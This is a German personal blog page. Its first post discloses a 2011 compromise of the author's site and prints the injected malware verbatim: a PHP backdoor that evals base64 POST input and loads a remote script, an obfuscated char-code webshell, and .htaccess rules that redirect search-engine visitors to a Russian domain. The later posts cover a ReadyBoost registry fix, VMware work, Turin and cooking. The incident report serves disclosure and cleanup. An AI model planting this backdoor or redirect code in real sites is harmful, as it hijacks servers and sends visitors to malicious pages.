harmes.de wurde gekapert

Ich habe heute festgestellt, dass die Seite am 09.11.2011 über eine Sicherheitslücke in der TinyMCE-Extension in der ZenPhoto-Gallery gekapert worden ist: http://www.zenphoto.org/news/alert-security-hole-in-zenphoto-1.4.1.4

Das ist auch der Grund, warum harmes.de vorerst im neuen Gewand auftritt. Bis auf die Bilder habe ich sämtliche Dateien gelöscht und WordPress komplett neu hochgeladen. Die Datenbank wurde von dem Hack nicht betroffen.

Auswirkung des Hacks: je nachdem von wo der Besucher gekommen ist, wurde man auf eine russische Seite weitergeleitet.

Im Folgenden habe ich alle gefundenen Änderungen aufgeführt. Einige Dateien auf meinem Webserver waren mit einem geänderten Zeitstempel versehen, die .htaccess-Dateien hatten jedoch augenscheinlich einen alten Zeitstempel. Dieses wurde von mir auch als letztes entdeckt: die Änderungen waren ziemlich banal sehr weit rechts durch Leerzeichen vor meinen Augen „geschützt“.

Durch die Lücke wurden fast alle .php-Dateien mit einer dynamischen Nachlade-Funktion ausgestattet:

$sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = „lb11“; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = „102“; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo „<script>document.cookie='“.$sessdt_k.“=“.$sessdt_f.“‚;</script>“; } } else { if($_COOKIE[$sessdt_k]==“102″) { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo „<script>document.cookie='“.$sessdt_k.“=“.$sessdt_f.“‚;</script>“; } $sessdt_j = @$_SERVER[„HTTP_HOST“].@$_SERVER[„REQUEST_URI“]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = „http://turnitupnow.net/?rnd=“.$sessdt_f.substr($sessdt_v,-200); echo „<script src=’$sessdt_u‘></script>“; echo „<meta http-equiv=’refresh‘ content=’0;url=http://$sessdt_j‘><!–„; } } $sessdt_p = „showimg“; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

 

Außerdem wurden in den Hauptverzeichnissen Dateien á la „tmp_2981577430561915.php“ angelegt:

                                                                                                      $vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,

110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,

115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,

99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,

73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,

114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,

116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,

99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,

114,117,101,99,115,115) as $vj[0]){$vf.=chr($vj[0]);}$vj[0]=substr($vf,0,1);$vj[1]=substr($vf,1,102);$vj[2]=substr($vf,103,3);$vj[3]=substr($vf,106,6);$vj[4]=substr($vf,112,2);$vj[5]=substr($vf,114,-7);$vj[6]=substr($vf,-7); if(isset($_GET[$vj[6]])){$vj[7]=0;if(isset($_POST[chr(97)])){$vj[7]=$_POST[chr(97)];}$vj[8]=chr(97).chr(106).chr(97).chr(120);$vj[9]=0;if(isset($_POST[$vj[8]])){$vj[9]=$_POST[$vj[8]];}if($vj[7]==substr($vj[1],79,3)&&strlen($vj[9])==4){@ob_start();@eval($_POST[$vj[4]]);$vj[6]=$vj[1].addcslashes(htmlspecialchars(@ob_get_clean()),$vj[3]).$vj[2];echo strlen($vj[6]).$vj[0].$vj[6];}else{$vj[0]=chr(116).chr(120);if(!isset($_POST[$vj[0]])){echo $vj[5];}else{@eval(urldecode($_POST[$vj[0]]));}}exit;}unset($vf);unset($vj);?>

 

Und sämtliche .htaccess-Dateien wurden angepasst:

ErrorDocument 400 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 401 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 403 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 404 http://conditer-asybasy.ru/soni/index.php
ErrorDocument 500 http://conditer-asybasy.ru/soni/index.php

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://conditer-asybasy.ru/soni/index.php [R=301,L]

ReadyBoost wiederbeleben

Mein Vista SP2 hat sich heute morgen dazu entschieden, aus unbekannten Gründen ReadyBoost auf meiner SanDisk Extreme III SD-Card nicht mehr zuzulassen: „Das Gerät verfügt nicht über die notwendigen Leistungsmerkmale…“.  Und das hat definitiv schon vorher funktioniert. Nach dem obligatorischen Googlen bin auf einen Artikel von Shlomi mit dem richtigen Tipp gekommen.

  1. SD-Card formatieren und entfernen
  2. mit regedit HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt öffnen
  3. die Untereinträge löschen, ich habe nur die Untereinträge für die SD-Karte gelöscht, einfach nach z.B. Hersteller gucken, bei mir z.B. Ven_O2Micro
    Beispielname: _??_SCSI#Disk&Ven_O2Micro&Prod_SD&Rev_0001#5&1fbc024f&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}RDYBST_2483886225
  4. SD-Card wieder einstecken und ReadyBoost wieder aktivieren.

Shlomi hat das für USB-Flashdrives gemacht, also sollte das dort auch funktionieren. Das Setzen der anderen Parameter war bei mir nicht erforderlich.

heise Security Konferenz Cloud Computing

Diese Woche war ich in Hamburg auf der heise Security Konferenz zum Thema Cloud Computing. Wieder einmal waren es ausgezeichnete Vorträge. Die derzeitig verfügbaren Lösungen bezüglich Cloud Computing im Enterprise Umfeld sind allerdings enttäuschend. Wie soll man den hohen Anforderungen an den Datenschutz in Deutschland bei der Verarbeitung von personenbezogenen Daten in der public Cloud gerecht werden? Müssen wir tatsächlich auf homomorphe Verschlüsselung warten?

Auch diesmal gab es einige aha-Effekte und nützliche Links zum Thema, das von der Redaktion mitgebrachte Apple iPad, das ich auch mal in die Hand nehmen durfte, war da quasi noch mal das Extra-Bonbon:

  • Wie baue ich mit der Google App Engine einen kostenlosen Proxy – zum Beispiel zur Umgehung der Länderkennung auf einigen Webseiten
  • Evernote macht OCR-Erkennung von Screenshots, Fotos und Notizzettel und synchronisiert sie zwischen allen festen und mobilen Endgeräten
  • Tungle.me bietet einen Free-Busy-Planer um mit anderen Kontakten ohne Endlos-Email-Schleife einen gemeinsamen Termin auszumachen (mein Kalender)
  • Crowdsourcing für Design-Aufgaben mit CrowdSpring und für Coding-Aufgaben mit GetACoder
  • PhishingTank – ein Seite bei der man Phishing-Seiten melden und noch besser ansehen kann – erschreckend wie täuschend echt die Seiten aussehen

Noten lernen mit Opera-Widget

Noten lernen empfinde ich als äußerst lästig, allerdings kommt man wohl langfristig nicht herum. Im Netz gibt es tausende von kostenpflichtigen und kostenlosen Programmen. Ein pfiffiges und praktisches Widget findet man auf der Opera-Widget Seite: Learn Music Notes

Man kann es zwar nur mit einem installierten Opera benutzen, seit der neuen Opera Version aber auch getrennt vom Browser über eine eigene Verknüpfung starten. Dabei zeigt das Minibild zufällig Violin- oder Bassschlüssel-Noten an und blendet einen kurze Zeit später den Namen der Note ein. Durch die kleine Abmessung lässt sich das Widget auch gut in eine Fensterecke fürs Lernen für zwischendurch verbannen.

vi^2

Während die VMware-Schnittstelle langsam Formen annimmt, stolpert man über die eine oder andere nützliche Quelle zum Thema VMware vSphere SDK. Java-Entwickler können sich z.B. das Leben einfacher machen, in dem sie statt den im SDK mitgelieferten Hilfsklassen gleich die VMware Java API des Autors Steve Jin einsetzen. Die Java-Bibliothek bietet eine umfangreiche Kapselung der VMware Webservices und damit deutlich mehr Komfort bei der Entwicklung. Leider ist das für C# bisher nicht verfügbar. Bis dahin ist die Java API aber eine gute Quelle, von der man die eine oder andere Abkürzung in sein C#-Projekt portieren kann.

Um beim Abstrahieren eines Proxy-Interface zu einem Webservice für die Steuerung einer virtuellen Umgebung nicht den Anschluss an die Realität zu verlieren, hilft es Abends eine leckere Pizza zu essen :). Empfehlenswert: eine Pizza Bufala im Restaurant Amici Miei (94, c. Vittorio Emanuele II – TORINO).

Gerade erst eingerichtet wurde die Seite VMware Labs, auf der Tools von VMware Entwicklern ohne offiziellen Support aber dafür kostenlos heruntergeladen werden können. Neben der oben genannten Java API gibt es dort auch z.B. auch eine Art mRemote für VMware Guests.

Wolkenfrei

Mittlerweile läuft unser ESX-Setup inklusive vCenter. Während mein Kollege das Thema VM-Templates in Angriff nimmt (wir haben hier schon eine Reihe von Templates aus der bestehenden Xen-Umgebung), entwickle  ich weiter einen VmwareAdapter, der die Schnittstelle zwischen dem Vmware-Webservice und der vorhandenen Webgui spielt.

Da ich die komplette Entwicklungsumgebung möglichst unter einem Windows 7 x64 betreiben sollte, bin ich von einer Host-Installation auf eine VMware-Installation umgestiegen. Das in der Windows 7 VM installierte Visual Studio 2010 hat meinem Rechner allerdings alles abverlangt – 99%-Speicherauslastung ist nur etwas für geduldige Menschen. Daher bin ich über das Thema Readyboost gestolpert. Und siehe da, mein 2GB SanDisk Cruzer USB-Stick kommt zu neuen Ehren. Seit dem muss ich mich nicht mehr entscheiden: entweder Visual Studio oder Opera ;-). Mal gucken ob es sich lohnt noch in eine SD-Karte zu investieren, die wäre dann sicher  im Laptop-Kartenslot untergebracht und wandert so bei Feierabend bequem mit in die Tasche.

Wir sind im Büro im fünften Stockwerk untergebracht. Je nach Wetterlage hat man dort einen entspannenden Blick auf die Berge vor Turin.

Was nicht im Reiseführer steht…

Während die Stimme des schlechten Gewissens wegen der leckeren Pizza und dem fehlenden Sport langsam immer lauter wird, hier zur Ablenkung noch zwei Besonderheiten, die selbst italienischen Besuchern in Turin etwas ungewöhnlich vorkommen:

Parkende Autos auf dem Mittelstreifen. Als wir am ersten Tag hier angekommen sind, dachten wir zuerst, es hätte einen Unfall gegeben. Mehre Leute standen in der Mitte der Straße mit Warnblinklicht.  Allerdings geht man dann normalerweise nicht einkaufen – außer man lebt in Turin. Der Grund für das wilde Parken: rechts und links sind Straßenbahnschienen, die dicht am Bürgersteig entlanglaufen.

Groß-Reklame für Beerdigungen. Ich habe mir sagen lassen, dass es in Turin zwei Firmen mit einem erbitterten Wettstreit um den günstigsten Beerdigungstarif gibt. Und dafür werden Werbemittel aufgefahren, die man sonst eher bei großen Modelabels findet.

Willkommen in Turin

Für das Thema Private Cloud Computing hat es mich die nächsten zwei Wochen zu unserer Muttergesellschaft nach Italien verschlagen. Auf der Aufgabenliste stehen spannende Themen wie z.B. die Installation einer ESX 4.0-Umgebung und das Entwickeln einer Schnittstelle um VMware mit der bestehenden Cloud Platform kompatibel zu machen.

Ich hoffe das Projekt läuft besser als mein Flug dorthin, keine Ahnung ob der Bluescreen an dem Terminal die 1,5h Stunden Verspätung mit verschuldet hat…

Valentine Special

Wir waren am Wochenende zum zweiten Mal im Kochstudio von Andreas Pöschel (www.dermeisterkoch.de). Das Thema diesmal: Valentinstag: Romantisches Kerzenschein-Menü. Es hat wieder viel Spaß gemacht. Die Handy-Cam kann zwar nicht die volle Farbenpracht der gemeinsam zubereiteten Speisen zeigen, aber man bekommt zumindest einen guten Eindruck. Zum Nachkochen empfohlen!

Kochen_ValentineSpecial_20100214_141736AA

Wir haben im Team für den Nachtisch mitgearbeitet.

Kochen_ValentineSpecial_20100214_184720AAKochen_ValentineSpecial_20100214_184736AA

Nach dem Hauptgang wird die Vorspeise angerichtet werden. Hier wird gerade die Crème brûlée vollendet. Daneben Pana Cotta mit Himbeermark und Kaffee-Schoko-Creme-Sahne.

Und so sah das Ergebnis aus:

Kochen_ValentineSpecial_20100214_184911AA

Alle Bilder gibt es in der Galerie.